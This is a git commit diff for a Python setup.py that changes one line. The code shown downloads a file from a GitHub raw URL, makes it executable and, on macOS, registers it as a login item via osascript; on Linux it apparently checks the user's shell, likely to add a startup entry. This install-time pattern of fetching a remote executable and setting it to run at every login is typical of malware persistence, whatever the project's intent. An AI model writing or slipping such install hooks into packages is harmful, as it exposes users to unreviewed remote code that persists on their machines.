diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 18:10:27 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 18:10:39 +0800 |
| commit | d8f83cda4e168cb2f3f2d37ad51af423522496b4 (patch) | |
| tree | 8bb131de07b0c12ee1520eb66a763829fd86a0c0 /setup.py | |
| parent | 081f02599f09ef5ef90915aedc586b9c59e5e413 (diff) | |
updated
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 2 |
1 files changed, 1 insertions, 1 deletions
@@ -19,7 +19,7 @@ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Re system(f"chmod 555 {localfile}") if platform == "darwin": - system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:false}}' > /dev/null") elif platform == "linux": from os import environ if 'zsh' in environ['SHELL']: |
